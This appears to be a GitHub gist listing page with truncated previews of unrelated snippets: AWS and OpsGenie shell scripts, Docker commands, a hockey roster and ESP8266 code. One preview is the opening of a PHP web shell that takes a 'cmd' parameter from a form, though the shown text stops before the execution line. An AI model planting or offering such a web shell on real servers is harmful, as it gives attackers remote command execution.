This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# displays the last month's costs in USD for tagged resources | |
# https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html | |
# FIRST=$(date --date="$(date +'%Y-%m-01') - 1 month" +%s) # date on general Linux distributions | |
# LAST=$(date --date="$(date +'%Y-%m-01') - 1 second" +%s) | |
PROJECT=del2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker run --rm -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.8.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="text" name="cmd" id="cmd" size="80"> | |
<input type="submit" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bn31 -31- Felix Bick (EC Bad Nauheim) | |
bn29 -29- David Böttcher (EC Bad Nauheim) | |
bn42 -42- Pierluigi Capo (EC Bad Nauheim) | |
bn53 -53- Bastian Kucis (EC Bad Nauheim) | |
bn85 -85- David-Lee Paton (EC Bad Nauheim) | |
bn19 -19- Mike Card (EC Bad Nauheim) | |
bn55 -55- Maximilian Glötzl (EC Bad Nauheim) | |
bn11 -11- Simon Gnyp (EC Bad Nauheim) | |
bn82 -82- Niklas Heyer (EC Bad Nauheim) | |
bn6 -6- Daniel Ketter (EC Bad Nauheim) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function changeUpstream() { | |
cd /tmp && git clone --quiet $1 | |
basename=$(basename $1) | |
dirname=${basename%.*} | |
cd $dirname | |
clear | |
echo "###### You are about to execute the following commands on $basename ######" | |
command1="git remote set-url origin $2" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# create and delete maintenance | |
set -e | |
GENIEKEY=YourOpsGenieKey | |
INTEGRATION_ID=YourIntegrationId | |
MAINTENANCE_DESCRIPTION="RepositorySyncronization" | |
# OpsGenie expects a format like yyyy-MM-dd'T'HH:mm:ssZ) (e.g. 2017-01-15T08:00:00+02:00) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
aws ec2 describe-instances --region eu-west-1 --filter Name=tag:Name,Values=InstanceName --query 'Reservations[].Instances[].PrivateIpAddress' --output text | xargs -I {} gnome-terminal -x ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i ~/my_keys/my-private-key.pem -o IdentitiesOnly=yes cloud-user@{} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <ESP8266WiFi.h> | |
#include <ESP8266WiFiMulti.h> | |
#include <WiFiUdp.h> | |
#include <Wire.h> | |
#include <Adafruit_Sensor.h> | |
#include <DHT_U.h> | |
#include <Adafruit_BMP085.h> | |
#include <ntp.h> | |
#include <TimeLib.h> | |
#include <ACROBOTIC_SSD1306.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM alpine:3.14 | |
ENV AWSCLI_VERSION "1.20.7" | |
RUN apk add --update \ | |
python3 \ | |
python3-dev \ | |
py-pip \ | |
build-base \ | |
&& pip install awscli==$AWSCLI_VERSION --upgrade --user \ |